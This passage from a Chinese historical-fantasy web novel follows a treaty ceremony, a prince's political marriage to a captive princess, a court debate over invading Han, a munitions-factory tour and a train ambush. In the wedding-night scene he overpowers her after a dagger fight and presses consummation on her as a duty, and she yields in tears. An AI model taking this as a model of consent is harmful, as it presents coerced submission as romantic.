赢稷深吸一口气,颤抖的手接过御笔,目光在“秦王赢稷”的落款处停留许久,最终,沉重地落下自己的名字。 笔锋苍劲,却透着一股难以言喻的悲凉与无奈。 两份国书互换。 慕容嫣将签有赢稷名字的国书交给礼部尚书,赢稷则接过签有慕容嫣名字的国书。象征着两国盟约的正式缔结。 “礼成!”礼部尚书高唱。 鼓乐齐鸣,响彻云霄。 祭坛下,大乾与秦国的将士齐声高呼:“万岁!万岁!万万岁!” 声浪如潮,震动着古老的函谷关隘。 慕容嫣与赢稷在礼官的引导下,缓步走下祭坛。 慕容嫣的目光,自然而然地落在了赢稷身后不远处,那道玄黑的身影上。 玉华公主。 她依旧是一身玄黑鎏金凤凰纹的曳地宫装,乌发绾成惊鸿髻,斜簪赤金点翠凤凰步摇。 脸上,那半张赤金火凤凰面具,在冬日清冷的阳光下,闪烁着更加灼热而神秘的光芒,遮去了她右眼及半边脸颊,只露出光洁的额头、挺秀的鼻梁、线条优美的下颌,以及那双如同寒潭映日般清冽、又似暗夜孤星般璀璨的左眸。 寒风卷起她玄黑的裙裾,猎猎作响,如同暗夜涌动的火焰。 她身姿高挑挺拔,立于肃杀的军阵之前,竟无半分怯懦,反而透着一股遗世独立的孤傲与清冷。 面具下露出的唇瓣,紧抿着,唇色嫣红,如同雪地里绽放的红梅,带着一种倔强的美丽。 慕容嫣的目光在她身上停留片刻,眼中闪过一丝不易察觉的欣赏。 此女,气度不凡,确非寻常闺阁女子可比。 难怪夫君喜欢。 林臻此时,正立于慕容嫣身侧稍后一步的位置。 他的目光,也落在了玉华公主身上。 函谷关的风雪,似乎并未能侵染她分毫。那玄黑的衣裙,火凤凰的面具,在苍茫的天地与肃杀的军阵背景下,反而更添几分惊心动魄的视觉冲击力。 面具下露出的肌肤,在冬日阳光下,白得近乎透明,与玄黑的衣裙形成强烈的对比,美得惊心动魄。 那只未被遮掩的左眸,清澈、深邃、锐利,此刻正平静地注视着前方,仿佛周遭的喧嚣、盟誓的荣辱、甚至她自身命运的转折,都未能在她心中掀起太大的波澜。 这份沉静与傲然,如同雪域高原上亘古不化的冰川,带着一种凛然不可侵犯的气质。 她的身材,在厚重宫装的包裹下,依旧能看出那惊人的曲线轮廓。 蜂腰长腿,肩颈线条优美流畅,如同精心雕琢的艺术品。 那份野性、神秘、冷艳、傲然交织而成的独特气质,在函谷关这金戈铁马的背景下,被无限放大,形成一种极具侵略性的美感。 林臻心中再次泛起波澜。 初见长安宫宴,灯火辉煌,她如同暗夜中燃烧的火焰,神秘而魅惑。 此刻,函谷关前,风雪苍茫,她则如同冰封雪原上傲然绽放的雪莲,孤高、冷艳、带着一种睥睨尘世的傲骨。 这份美,不仅在于皮相,更在于骨子里那份不屈与骄傲。 她像一柄出鞘的利剑,锋芒毕露,令人无法忽视。 玉华公主似乎感受到了林臻的目光。 她微微侧首,那只清冽的左眸,穿过风雪,精准地迎上了林臻深邃的视线。 目光交汇,没有躲闪,没有羞涩,只有平静的审视与一丝不易察觉的探究。 那眼神,仿佛在说:我知你为何而来,也知你将带我走向何方。 然,我玉华,绝非任人摆布之物。 林臻嘴角勾起一丝极淡的弧度。 有意思。这柄来自秦地的利刃,果然锋芒毕露。 驯服她,或许比收服秦国,更具挑战。 盟誓大典结束。 函谷关的风雪依旧凛冽,然笼罩在北疆上空的战争阴云,却已悄然散去。 慕容嫣与赢稷在祭坛下再次简短会晤,敲定了后续通商、驻军、交接等具体事宜。 随即,各自登上了等候在侧的“铁龙”专列。 慕容嫣的专列内,温暖如春。 她褪下厚重的朝服凤冠,换上一身舒适的常服,靠在软榻上,闭目养神。 “嫣儿辛苦了。”林臻坐在她身侧,递上一杯温热的参茶。 “夫君才是劳苦功高。”慕容嫣睁开眼,接过茶盏,唇角带着温婉的笑意,“不费一兵一卒收服秦国拓地千里解北疆侧翼之忧此乃不世之功。” “此乃嫣儿洪福天佑大乾。”林臻道。 “那玉华公主,”慕容嫣眸光微转,带着一丝促狭,“确如夫君所言天人之姿气度不凡。” 林臻神色平静:“秦地明珠自有风骨。” “夫君打算何时迎娶。”慕容嫣问。 “待秦地交接平稳再议。”林臻道,“不急。” “嗯。”慕容嫣颔首,不再多言。 她深知,和亲虽定,然玉华公主身份特殊,性情刚烈,如何安置,如何相处,皆需谨慎。 此事,急不得。 “铁龙”专列在风雪中轰鸣前行,驶向帝京。 窗外,北疆的群山在暮色中连绵起伏,如同沉睡的巨龙。 函谷关的烽烟,已化为盟誓的香火。 秦国的归附,为大乾北疆筑起了一道坚实的屏障。 第772章 不许碰我! 帝京,镇北王府。 深冬的寒风凛冽刺骨,王府内外却是一片火树银花,张灯结彩,喜庆的喧嚣驱散了冬夜的寒意。 玄色蟠龙灯笼高悬门楫,朱漆大门贴满鎏金双喜字,府内回廊庭院,处处悬挂着大红绸缎宫灯,映照着积雪,折射出暖融的光晕。 空气中弥漫着浓郁的酒香、脂粉香、以及鞭炮燃尽后的硝烟气息。今日,是镇北王林臻迎娶秦国玉华公主为平妃的大喜之日。 麟德殿内,宾客满座,觥筹交错,喧嚣鼎沸。 王公贵族、文武百官、各国使节,齐聚一堂,恭贺之声不绝于耳。 林臻一身玄色蟠龙吉服,身披同色貂裘大氅,身姿挺拔如松,立于主位之上,接受着众人的敬酒与恭贺。 他面色沉静,深邃的眼眸在满堂灯火下,却带着一丝不易察觉的疏离与疲惫。 酒过三巡,饶是他内力深厚,也架不住一波又一波的敬酒。 烈酒入喉,化作一股灼热,在四肢百骸间蔓延,冲淡了平日的冷峻,眉宇间染上了一层朦胧的醉意。 “王爷大喜啊!再饮一杯!”兵部尚书赵武满面红光,端着酒杯上前。 “贺喜王爷纳得秦国明珠!”户部尚书张衡紧随其后。 “殿下海量!再饮!”众人附和。 林臻来者不拒,举杯痛饮。 辛辣的酒液滑入喉中,烧灼着胃腑,也模糊着眼前的景象。 喧嚣的人声、晃动的灯火、一张张或真诚或谄媚的笑脸,在他眼中渐渐变得模糊不清。 唯有内心深处,一丝难以言喻的烦躁与沉重,如同水底的暗礁,在酒精的浪潮下若隐若现。 这场大婚,是政治的延续,是盟约的象征,是北疆棋局落下的最后一子。 然对于玉华公主那个带着火凤凰面具、眼神清冽如刀的秦地明珠,他心中并无半分新婚的喜悦,只有一种如同面对棘手军务般的复杂与审慎。 夜色渐深,宾客尽欢,陆续散去。 喧嚣褪去,王府重归寂静,唯余廊下宫灯在寒风中摇曳,投下斑驳的光影。 林臻在亲卫的搀扶下,脚步略显虚浮,走向位于王府东侧深处、特意为玉华公主新建的“栖凰苑”。 栖凰苑内,红烛高燃,暖香浮动。 大红的喜字贴满窗棂,龙凤喜烛在精致的烛台上静静燃烧,流下滚烫的烛泪。 空气中弥漫着浓郁的百合与玫瑰混合的香气,甜腻得有些醉人。 宽大的紫檀木雕花拔步床上,铺着大红的锦被,绣着龙凤呈祥的图案。 玉华公主端坐于床沿,一身繁复华丽的大红嫁衣,金线绣制的凤凰图腾在烛光下熠熠生辉,裙摆逶迤铺开,如同盛放的血色牡丹。 她头上,依旧盖着那方象征喜庆却也将她与外界隔绝的大红龙凤盖头。 门被推开,带着一身浓郁酒气的林臻,在亲卫的搀扶下步入新房。 亲卫躬身退下,轻轻带上房门。屋内,只剩下两人。 烛火噼啪作响,空气仿佛凝固。 林臻踉跄几步,走到床前。 浓烈的酒气混合着他身上特有的清冽松木气息,扑面而来。 他站定,目光落在那一方纹丝不动的红盖头上,深邃的眼眸中,醉意与锐利交织。 “公主,”他声音低沉沙哑,带着浓重的酒气,“久等了。” 盖头下,玉华公主的身体似乎微微绷紧,但依旧沉默,如同冰冷的雕塑。 林臻伸出手,指尖带着灼热的酒意,探向那方红盖头。 就在指尖即将触碰到盖头边缘的瞬间—— “别碰我!”一声清冽如冰泉、带着毫不掩饰的抗拒与冷意的声音,从盖头下骤然响起。 林臻的手,停在半空。 醉意朦胧的眼中,闪过一丝错愕,随即被一股冰冷的锐利取代。 “公主何意。”他声音低沉,带着一丝不易察觉的危险。 “此婚非我所愿。”玉华公主的声音透过盖头,依旧冰冷清晰,带着秦地特有的倔强与傲骨,“乃父命国命不得不从,然你休想碰我。” “哦?”林臻收回手,负手而立,高大的身影在烛光下投下一片阴影,笼罩着床上的身影,“公主以为嫁入王府是做客?” “非做客亦非献身。”玉华公主的声音带着一丝讥诮,“乃人质纽带,纽带无需肌肤之亲。” “纽带?”林臻嘴角勾起一丝冰冷的弧度,“公主倒是清醒,然既入王府为妃便该知晓本分。” “本分?”玉华公主的声音陡然拔高,带着压抑的怒火,“我玉华非寻常闺阁女子,更非任人摆布玩物,秦国虽降我玉华脊梁未断!” “脊梁?”林臻向前一步,浓烈的酒气与无形的威压骤然迫近,“公主可知何为现实。秦国归附。你乃和亲公主。此乃宿命。抗拒徒劳。” “宿命?”盖头下传来一声冷笑,“我玉华此生只信手中刀掌中剑!不信宿命!” 话音未落,一道寒光骤然自大红嫁衣的宽袖中闪现! 玉华公主竟从袖中抽出一柄长约七寸、寒光凛冽的匕首! 匕首造型古朴,刃身狭长,泛着幽蓝的冷光,显然淬有剧毒! 她动作快如闪电,手腕一翻,锋利的匕刃带着刺骨的寒意,直刺林臻探向盖头的手腕! 招式狠辣刁钻,带着秦地武者特有的凌厉与决绝! 林臻醉意朦胧的眼中,瞬间爆射出骇人的精光! 他虽醉酒,然武者的本能早已刻入骨髓! 在那匕刃即将触及皮肤的刹那,他手腕猛地一沉,化掌为爪,五指如铁钳般精准地扣向玉华公主持匕的手腕! “铛!” 一声清脆的金铁交鸣! 林臻的指尖并未扣住玉华公主的手腕,而是精准地弹在了匕首的侧面! 一股沛然莫御的雄浑内力,透过匕首,瞬间涌入玉华公主的手臂! 玉华公主闷哼一声,只觉一股排山倒海般的巨力袭来,整条手臂瞬间酸麻剧痛,匕首几乎脱手飞出! 她心中大骇,万没想到林臻在如此醉态下,反应与力量竟恐怖如斯! 然她性子刚烈,岂肯轻易服输! 强忍手臂剧痛,玉华公主另一只手猛地扯下头上的红盖头! 刹那间,那张令林臻在长安宫宴与函谷关前两次惊艳的容颜,毫无保留地呈现在烛光之下。 乌发如瀑,仅用一支赤金凤凰步摇松绾住,几缕碎发垂落颊边。 脸上,那半张标志性的赤金火凤凰面具依旧覆盖着右眼及半边脸颊,在跳跃的烛火下,红宝石与火纹玛瑙闪烁着妖异而危险的光芒。 未被面具遮掩的左颊,肌肤胜雪,光洁如玉。 挺秀的鼻梁下,唇瓣紧抿,唇色嫣红如血,带着一股倔强的弧度。 最令人心悸的,是那双眼睛——未被面具遮掩的左眸,清澈如寒潭,此刻却燃烧着熊熊怒火与不屈的战意,如同被激怒的母豹,锐利、冰冷、充满野性的力量。 而被面具覆盖的右眼位置,只有冰冷的金属与宝石的幽光,更添几分神秘与危险。 “林臻!”她厉声喝道,声音带着一丝因疼痛而微颤的沙哑,“你休想辱我!” 林臻的目光,在她扯下盖头、露出真容的瞬间,有片刻的凝滞。 即便是在如此剑拔弩张的情境下,她的美,依旧带着一种惊心动魄的冲击力。 那半遮半掩的神秘,那燃烧着怒火的清冽眼眸,那紧抿的倔强红唇,混合着一种野性难驯的魅力,在摇曳的烛光下,构成一幅极具张力的画面。 “辱你?”林臻的声音低沉而危险,带着一丝被挑衅后的冰冷怒意,“公主持刃行刺本王才是大逆不道!” 话音未落,林臻身形一晃,如同鬼魅般欺身而上! 第773章 从了我吧 他虽醉酒,身法却依旧快如闪电! 右手五指成爪,带着凌厉的破空之声,直抓玉华公主持匕的手腕! 左手则如毒蛇吐信,点向她肩井穴! 玉华公主瞳孔骤缩! 她自幼习武,身手不凡,然面对林臻这含怒出手、快如奔雷的攻势,竟感到一股前所未有的压迫感! 她银牙紧咬,不退反进! 手腕一翻,匕首划出一道幽蓝的弧光,反削林臻抓来的手腕! 同时,左腿如鞭,带着凌厉的风声,狠狠扫向林臻下盘! 招式狠辣,完全是搏命的打法! “砰!砰!铛!” 狭窄的新房内,瞬间劲风四溢! 两人身影交错,拳脚相击,金铁交鸣! 大红锦被掀翻在地,桌上的合卺酒壶、杯盏被激荡的劲风扫落,摔得粉碎! 酒液四溅,染红了光洁的地面。烛火剧烈摇曳,将两人缠斗的身影投在墙壁上,如同皮影戏般激烈晃动。 玉华公主的武功路数,刚猛凌厉,带着秦地特有的悍勇与狠辣,匕首招招不离林臻要害。 然林臻的武功,早已臻至化境,即便醉酒状态,其反应、速度、力量以及对战局的掌控,远非玉华公主可比。 他并未下死手,更多是以擒拿格挡为主,化解着她的攻势,如同在驯服一匹桀骜不驯的烈马。 “嗤啦!” 一声裂帛声响! 玉华公主宽大的嫁衣袖口,被林臻指尖蕴含的劲气撕裂,露出一截欺霜赛雪的皓腕。 腕上,一道因刚才内力冲击而留下的红痕,触目惊心。 “你!”玉华公主又惊又怒,攻势更急! 林臻眼神一冷,觑准她一个破绽,左手闪电般探出,绕过匕首的寒芒,精准地扣住了她持匕的手腕! 一股雄浑的内力瞬间涌入! “呃!”玉华公主痛哼一声,只觉手腕如同被铁钳夹碎,剧痛钻心,匕首再也握持不住,“铛啷”一声掉落在地。 林臻顺势一带,将她整个人拉入怀中! 另一只手如铁箍般,牢牢锁住了她的腰肢! “放开我!”玉华公主奋力挣扎,如同被困的猛兽,屈膝狠狠撞向林臻小腹! 林臻腰腹一沉,轻易化解了她的膝撞,同时锁住她腰肢的手臂猛地收紧! 两人身体紧紧相贴,几乎能感受到彼此剧烈的心跳与灼热的体温。 玉华公主身上那股清冽的异香混合着淡淡的汗味,钻入林臻的鼻息。林臻身上浓烈的酒气与男性气息,也将她完全笼罩。 “够了!”林臻低喝一声,声音带着不容置疑的威严与一丝被酒精放大的烦躁,“玉华!你闹够了没有!” 玉华公主的挣扎骤然停止。 她仰起头,面具下那只清冽的左眸,死死地盯着林臻近在咫尺的脸庞。 那眼中,燃烧的怒火渐渐被一种冰冷的绝望与屈辱取代。 她不再挣扎,身体却僵硬如铁,每一寸肌肉都紧绷着,充满了抗拒。 “你赢了。”她声音嘶哑,带着一丝不易察觉的颤抖,“秦国降了,我也嫁了,你还想怎样。” 林臻低头,看着怀中这张近在咫尺、混合着绝美与倔强的脸庞。 火凤凰面具冰冷的触感抵着他的下颌。 那只未被遮掩的左眸,清澈的眼底,映着跳跃的烛火,也映着他自己带着醉意与怒意的脸。 那眸中的冰冷与绝望,如同一根细针,刺破了他因酒精和愤怒而升腾的戾气。 他沉默片刻,锁住她腰肢的手臂,力道微微松缓。 “本王从未视你为玩物。”林臻的声音低沉下来,带着一丝酒后特有的沙哑与疲惫,“和亲是国事,然既入王府你便是本王之妃,此乃事实。” 玉华公主紧抿着唇,一言不发。 “本王知你不甘。”林臻继续道,目光落在她紧抿的唇瓣上,“然抗拒改变不了任何事,只会让你自己痛苦。” “难道顺从就不痛苦?”玉华公主的声音带着一丝讥讽。 “至少可以活得轻松一些。”林臻道,“王府非龙潭虎穴,本王亦非暴虐之人,你依旧是玉华公主,你的骄傲你的尊严无人可夺。” 玉华公主的身体,似乎微微放松了一丝。 那只清冽的左眸中,冰冷的绝望稍稍褪去,取而代之的是一种复杂的挣扎与迷茫。 “今夜,”林臻的声音带着一丝不容置疑的决断,“圆房乃礼制,亦是你身为王妃之责,本王不会强迫于你,然你需明白此乃无法逃避。” 他松开锁住她腰肢的手,后退一步,拉开了距离。 目光平静地看着她,等待着她的选择。 新房内,一片死寂。 唯有烛火燃烧的噼啪声,以及两人略显粗重的呼吸声。 破碎的酒盏碎片在烛光下闪烁着微光,空气中弥漫着酒香、脂粉香、以及一种无声的张力。 玉华公主站在原地,身体依旧僵硬。 她看着林臻深邃而平静的眼眸,又低头看了看地上那柄泛着幽蓝光芒的匕首。 良久,她缓缓抬起手,指尖颤抖着,抚上自己脸上冰冷的火凤凰面具。 “好。”一个极轻、却异常清晰的声音,从她紧抿的唇瓣间逸出,带着一种认命般的决绝与疲惫,“我应你。” 她闭上那只未被遮掩的左眸,长长的睫毛在烛光下投下一小片阴影,微微颤抖。 身体依旧紧绷,如同引颈就戮的囚徒。 林臻看着她这副模样,心中并无半分得逞的快意,反而涌起一丝复杂难言的滋味。 他再次上前,动作不再粗暴,而是带着一种近乎仪式感的缓慢与郑重。 他伸出手,指尖轻轻拂过她冰冷的火凤凰面具边缘,然后,缓缓探向她的脑后。 玉华公主的身体猛地一颤,却没有再抗拒。 林臻解开了她发髻上那支赤金凤凰步摇。 乌发如瀑,瞬间倾泻而下,披散在她肩头,柔化了那身大红嫁衣带来的凌厉感。 接着,他的指尖,落在了那半张火凤凰面具的系带上。 玉华公主的身体瞬间绷紧到了极致,那只紧闭的左眸猛地睁开,眼中闪过一丝难以掩饰的惊惶与脆弱。 “别,”她下意识地低呼,声音带着一丝颤抖。 林臻的手,顿住了。 他看着那双第一次流露出如此明显脆弱情绪的眼眸,沉默片刻。 “此物乃你心防,”他低声道,“本王不迫你。” 他收回手,转而轻轻拂开她颊边散落的发丝。 指尖划过她光洁细腻的肌肤,带来一阵细微的战栗。 玉华公主紧绷的身体,似乎因他放弃摘下面具的举动,而微微放松了一丝。 那只左眸中的惊惶,也渐渐被一种认命般的沉寂取代。 林臻不再言语,只是俯下身,带着浓烈酒气的吻,带着不容拒绝的强势,落在了她紧抿的、嫣红的唇瓣上。 玉华公主的身体瞬间僵硬如石,双手下意识地抵在他胸前,却最终没有用力推开。 她紧闭着眼,长长的睫毛剧烈颤抖着,如同风中残蝶。 那只未被面具遮掩的左眸眼角,一滴晶莹的泪珠,无声地滑落,没入乌黑的鬓发之中。 大红喜烛,依旧在燃烧,流下滚烫的烛泪。 破碎的酒盏碎片,在烛光下折射出冰冷的光泽。 新房内,弥漫着酒香、脂粉香、血腥气、以及一种无声的妥协与屈从。帝京,紫宸殿。 深冬的晨光透过高耸的琉璃窗棂,洒在冰冷的金砖地面上,映照着殿内肃穆而凝重的气氛。 炭火盆驱散了寒意,却驱不散空气中弥漫的、如同实质般的压力。 女帝慕容嫣高坐于九龙金椅之上,凤冠霞帔,仪态端凝,沉静的目光扫过殿下肃立的文武百官。 镇北王林臻玄色蟠龙常服,端坐御阶之下左侧首位,深邃的眼眸平静无波,如同深潭古井,却酝酿着惊涛骇浪。 “陛下”林臻缓缓起身,玄色披风无风自动,声音沉稳有力,穿透大殿的寂静,“北疆诸事已定。秦国归附。柔然远遁。 吐蕃暂息。唯余韩国盘踞辽东辽西负隅顽抗。” 殿内一片死寂。所有人的目光都聚焦在他身上。 “韩国国君韩安刚愎残暴穷兵黩武民怨沸腾。”林臻声音转冷,“其屡次犯我边境劫掠商旅袭扰边民。更暗中勾结南楚图谋不轨。此乃心腹之患不可不除。” 他目光如电,扫过群臣:“本王意开春即发兵辽东犁庭扫穴一举荡平韩国永绝北疆后患!” “轰!” 第774章 伐韩 殿内瞬间哗然!如同投入巨石的深潭,骤然沸腾! “殿下!万万不可!”户部尚书张衡第一个出列,声音带着急切的忧虑,“连年征战北征鬼方西定柔然东平海寇南镇苗乱今又收服秦国国库虽丰然耗费甚巨!民力疲惫!将士思归!此时再启战端恐力有不逮动摇国本啊!” “张尚书所言极是!”礼部尚书周正须发皆白,手持玉笏,颤巍巍出列,声音苍老却带着不容置疑的激愤, “兵者凶器圣人不得已而用之。我大乾承天受命当以仁德服人以文治化民。岂能穷兵黩武妄动干戈!韩国虽桀骜然可遣使晓谕威德令其归附。若执迷不悟再伐不迟!” “周大人此言差矣!”兵部尚书赵武声如洪钟,大步出列,枯瘦的脸上刀疤狰狞,眼中凶光闪烁, “韩国韩安豺狼之性!畏威不怀德!遣使晓谕?无异于与虎谋皮!昔年我大乾遣使十次!韩安非但不纳反斩使焚书!更纵兵劫掠我边城!此等不义之邦不伐不足以平民愤!不伐不足以彰天威!不伐不足以安北疆!” “赵尚书此言过激!”御史大夫王俭紧随其后,声音尖锐, “韩国地处辽东苦寒之地民贫地瘠。伐之所得几何?耗费军资粮草何止亿万!将士死伤何止万千!所得不偿所失!徒耗国力民力于无用之地!此乃下下之策!” “王御史此言大谬!”工部尚书李崇立刻反驳,声音洪亮,“韩国虽贫然辽东辽西扼守东北门户。控渤海通高丽。乃战略要冲,更盛产铁矿马匹。得之则北疆门户洞开可东控高丽北慑女真。失之则如鲠在喉永无宁日,此乃必争之地!岂能以贫瘠论得失!” “李尚书所言有理!”新任吏部尚书陆文渊出列,声音清朗,“然下官以为伐韩时机未至。秦国新附人心未稳。北疆诸部尚需安抚。南楚虎视眈眈伺机而动。此时伐韩若战事迁延恐腹背受敌三面受困!” “陆尚书多虑了!”赵武冷笑,“韩国韩安暴虐无道民心尽失。我大乾天兵所至必摧枯拉朽,何来迁延,至于南楚哼,顾北辰新死内斗不休,自顾不暇,焉敢犯境!” “赵尚书莫要轻敌!”张衡急道,“战事瞬息万变,岂能妄言必胜,若韩国据城死守坚壁清野我军深入敌境补给困难天寒地冻将士苦不堪言胜负难料啊!” “张尚书莫非忘了焚天雷之威!”赵武眼中凶光爆射,枯瘦的手指按在腰刀上,“昔年北疆柔然铁骑何等猖狂,焚天雷一出灰飞烟灭,韩国城池再坚能挡天雷否!” “焚天雷,”张衡脸色一白,声音发颤,“此物威力惊天然造价高昂制造不易且杀伤过甚恐有伤天和,” “天和?”林臻冰冷的声音骤然响起,如同寒冰掷地,瞬间压下了殿内所有的争论。 他缓缓起身,玄色身影挺拔如松,深邃的眼眸扫过群臣,带着一股无形的、令人窒息的威压。 “何为天和?”林臻声音低沉,却字字如锤,敲在每个人心头,“韩安暴虐屠戮我边民劫掠我商旅勾结外敌此乃逆天而行,伐之乃替天行道,何来有伤天和!” 他目光如刀,直视张衡、周正、王俭等人:“张尚书言耗费国库?本王问你北疆商路因韩断绝损失几何?边城被掠损失几何?将士戍边伤亡抚恤几何?若韩国勾结南楚北犯战火再起损失又几何!” 张衡哑口无言,额头渗出冷汗。 “周大人言仁德服人?”林臻转向周正,“本王再问对豺狼讲仁德是仁德还是愚蠢?昔年宋襄公泓水之败便是前车之鉴!” 周正脸色涨红,嘴唇翕动,却无言以对。 “王御史言所得不偿所失?”林臻目光锐利如剑,“本王告诉你辽东辽西乃大乾东北屏障,得之则北疆永固,失之则门户洞开永无宁日,此乃万世之基,岂是区区钱粮可计!” 王俭面如死灰,颓然低头。 “陆尚书言时机未至?”林臻最后看向陆文渊,“本王以为时机恰恰在此,秦国新附正需一场大胜震慑,北疆诸部观望正需雷霆一击慑服,南楚内乱自顾不暇此乃天赐良机,此时不伐更待何时!” 他声音陡然拔高,带着一股斩钉截铁的决绝:“韩国必伐,此乃国策,非议可止!” 殿内一片死寂。群臣噤若寒蝉,无人再敢出言。林臻那凌厉的目光,如同实质的刀锋,扫过之处,众人纷纷低头避让。 那“焚天雷”的恐怖威能,更是如同悬顶之剑,震慑着所有人的心神。 “陛下,”林臻转身,面向御座,躬身行礼,“臣请旨伐韩!” 慕容嫣端坐于九龙金椅之上,沉静的目光扫过殿下噤声的群臣,最终落在林臻身上。 她清丽的脸上无波无澜,唯有一双凤眸深处,闪烁着坚定而信任的光芒。 “准。”慕容嫣声音清越,带着不容置疑的威严,“镇北王林臻所言甚合朕意。韩国桀骜屡犯天威勾结外敌罪不容诛!伐之乃天理昭彰民心所向!” 她目光扫过群臣:“着令,兵部即刻调集北疆精锐二十万,户部调拨粮草军械银饷全力保障,工部焚雷司格物院全力赶制军械焚天雷,驿传司确保军情通达,吏部刑部严查后方安定,凡有懈怠阻挠军务者严惩不贷!” “臣等遵旨!” 兵、户、工、吏、刑部尚书及焚雷司主事楚惜灵齐声领命,声音洪亮。 “另”慕容嫣目光转向林臻,“夫君为伐韩主帅总揽全局。朕授你临机专断先斩后奏之权!务必旗开得胜扬我国威!” “臣领旨!”林臻躬身,声音沉稳有力。 “退朝!”慕容嫣拂袖起身。 “陛下圣明!”群臣齐声高呼,声震殿宇。 数日后,京畿重镇,武清。 此地乃大乾最大的军工生产基地,由焚雷司与格物院直接管辖,戒备森严,宛如一座巨大的钢铁堡垒。 寒风凛冽,卷起地上的积雪。巨大的“铁龙”机车喷吐着滚滚白烟,拖拽着长长的车厢,轰鸣着驶入武清工业区专用站台。 林臻一身玄色劲装,外罩同色貂裘大氅,在楚惜灵及一众焚雷司、格物院官员的陪同下,缓步走下站台。 空气中弥漫着浓烈的煤烟、铁锈、机油和硫磺混合的气息,带着一种工业特有的粗粝与力量感。 视线所及,是连绵不绝的巨大厂房,高耸入云的烟囱喷吐着黑烟,纵横交错的铁轨如同大地的脉络,满载着矿石、煤炭、钢铁的蒸汽机车穿梭其间,发出震耳欲聋的轰鸣。 “夫君随我来。”楚惜灵清冷的声音在寒风中响起。 她依旧一身靛蓝工装,外罩素色薄氅,清冷的脸上带着长途跋涉后的疲惫,但眼神却锐利如初。 一行人穿过宽阔的厂区大道,来到一处标有“甲字一号”的巨大厂房前。 厚重的铁门缓缓开启,一股灼热的气浪夹杂着震耳欲聋的金属撞击声、蒸汽嘶鸣声、机器轰鸣声扑面而来! 厂房内,灯火通明,亮如白昼。 巨大的空间内,数十座熔炉烈焰熊熊,炽热的铁水如同翻滚的岩浆,在巨大的坩埚中沸腾,映照着工人们汗流浃背、古铜色的脸庞。 巨大的蒸汽锻锤,如同巨人的手臂,在蒸汽的推动下,带着万钧之力,轰然砸下! 每一次落下,都伴随着震耳欲聋的巨响和四溅的火星,将通红的钢坯锻造成各种形状的构件。 精密的镗床、铣床、车床发出尖锐的切削声,锋利的刀具在坚硬的钢铁上刻画出精确的纹路。 空气中弥漫着灼热、机油、汗水以及一种令人血脉贲张的、属于力量与创造的气息。 “此乃铁龙机车总装车间。”楚惜灵引路,声音穿透机器的轰鸣,“新式铁龙三型载重提升三成速度提升五成可适应辽东严寒山地地形。” 林臻目光扫过正在组装的庞大机车骨架。 精钢铸造的车轮、厚重的底盘、粗壮的连杆、巨大的锅炉无不彰显着钢铁的力量与工业的伟力。 工人们如同精密的零件,在各自的岗位上忙碌着,动作熟练而专注。 “此乃焚天雷装填工坊。”楚惜灵指向另一处戒备更加森严的区域。 巨大的传送带上,一枚枚黝黑、沉重、泛着冰冷金属光泽的圆柱形弹体缓缓移动。 工人们身着特制防护服,小心翼翼地往弹体内填充着黑色的粉末。 “新式焚天三型威力提升一倍延时引信更精确可钻地破城。”楚惜灵的声音带着一丝不易察觉的自豪。 林臻微微颔首,目光落在那些散发着致命气息的黑色弹体上。这便是他敢言“犁庭扫穴”的底气所在。 “产量如何。”林臻问。 一名焚雷司官员躬身道,“铁龙三型月产十列。焚天三型月产五千枚。全力开动可翻倍。” “善。”林臻道,“开春之前务必备足军需。” “是!”众人齐声应道。 离开装填工坊,楚惜灵引着林臻登上厂区旁一处地势较高的瞭望塔。 凭栏远眺,整个武清工业区尽收眼底。 巨大的厂房如同蛰伏的钢铁巨兽,喷吐着烟云。 纵横的铁轨如同大地的脉络,延伸向远方。蒸汽机车的轰鸣、锻锤的撞击、机器的嘶鸣,交织成一曲震撼人心的工业交响,如同大地的心跳,强劲而有力。 寒风凛冽,吹动着林臻的貂裘大氅。他深邃的目光扫过这片沸腾的土地,眼中闪烁着冰冷的锐芒与必胜的信念。 “铁血铸锋。”他低声自语,声音在寒风中消散,“开春,河南便是韩国葬身之地!” 楚惜灵静立一旁,清冷的眼眸中,倒映着这片钢铁森林的壮阔景象,也倒映着林臻那如山岳般沉稳而决绝的身影。 第775章 仿制天雷 武清工业区的钢铁轰鸣渐行渐远,最终被旷野的寒风呼啸所取代。 玄铁打造的“铁龙”专列,如同一条沉默的黑色巨龙,在深冬的暮色中,沿着新铺设的轨道,向着帝京方向疾驰。 车厢内,炭火盆驱散了寒意,暖意融融。 林臻端坐于宽大的紫檀木圈椅上,闭目养神。 窗外,铅灰色的天空低垂,荒芜的原野覆盖着厚厚的积雪,在暮色中泛着冰冷的白光。 楚惜灵坐在他对面,靛蓝工装外罩着素色薄氅,清冷的脸上带着一丝长途跋涉后的疲惫,正低头翻阅着一卷格物院新制的“铁龙三型”构造图纸。 车厢内一片寂静,只有车轮碾过铁轨发出的规律而沉闷的“哐当”声,以及炭火盆偶尔发出的噼啪轻响。 天色彻底暗沉下来,车厢内点起了明亮的煤气灯。 窗外,风雪渐起,细碎的雪沫被寒风卷起,抽打在冰冷的车窗上,发出沙沙的声响。 列车驶入一片相对荒凉的山谷地带,两侧是连绵起伏、覆盖着厚厚积雪的丘陵,黑黢黢的,如同蛰伏的巨兽。 “殿下过了前面鹰愁涧便离帝京不远了。”随行的亲卫队长毛梦极躬身禀报,声音嘶哑。 林臻微微颔首,依旧闭目。 就在列车即将驶出山谷,前方豁然开朗之际—— “轰!!!” 一声震耳欲聋的恐怖巨响,如同平地惊雷,骤然撕裂了寂静的雪夜! 剧烈的爆炸冲击波狠狠撞在列车中部! 整列沉重的“铁龙”专列如同被无形的巨手狠狠抽了一鞭,猛地剧烈震颤、扭曲! 坚固的玄铁车厢发出令人牙酸的金属呻吟声! 巨大的惯性让车厢瞬间脱轨、侧倾! “保护殿下!”毛梦极目眦欲裂,嘶吼声如同受伤的野兽! 他枯瘦的身形在车厢剧烈颠簸中却稳如磐石,瞬间拔刀出鞘,一个箭步挡在林臻身前! 楚惜灵在爆炸响起的瞬间,身体已被巨大的冲击力狠狠抛向车厢壁! 她闷哼一声,手中图纸散落一地,额头重重撞在冰冷的金属车壁上,瞬间鲜血直流! 但她反应极快,强忍剧痛和眩晕,身体如同没有骨头的灵蛇般,在车厢翻滚倾倒的瞬间,猛地向林臻的方向扑去,同时从袖中滑出一柄精钢短匕! 林臻在爆炸发生的刹那,深邃的眼眸骤然睁开! 寒光爆射! 他并未如常人般惊慌失措,身体在车厢剧烈倾斜的瞬间,凭借超强的腰腹力量和惊人的平衡感,硬生生稳住身形! 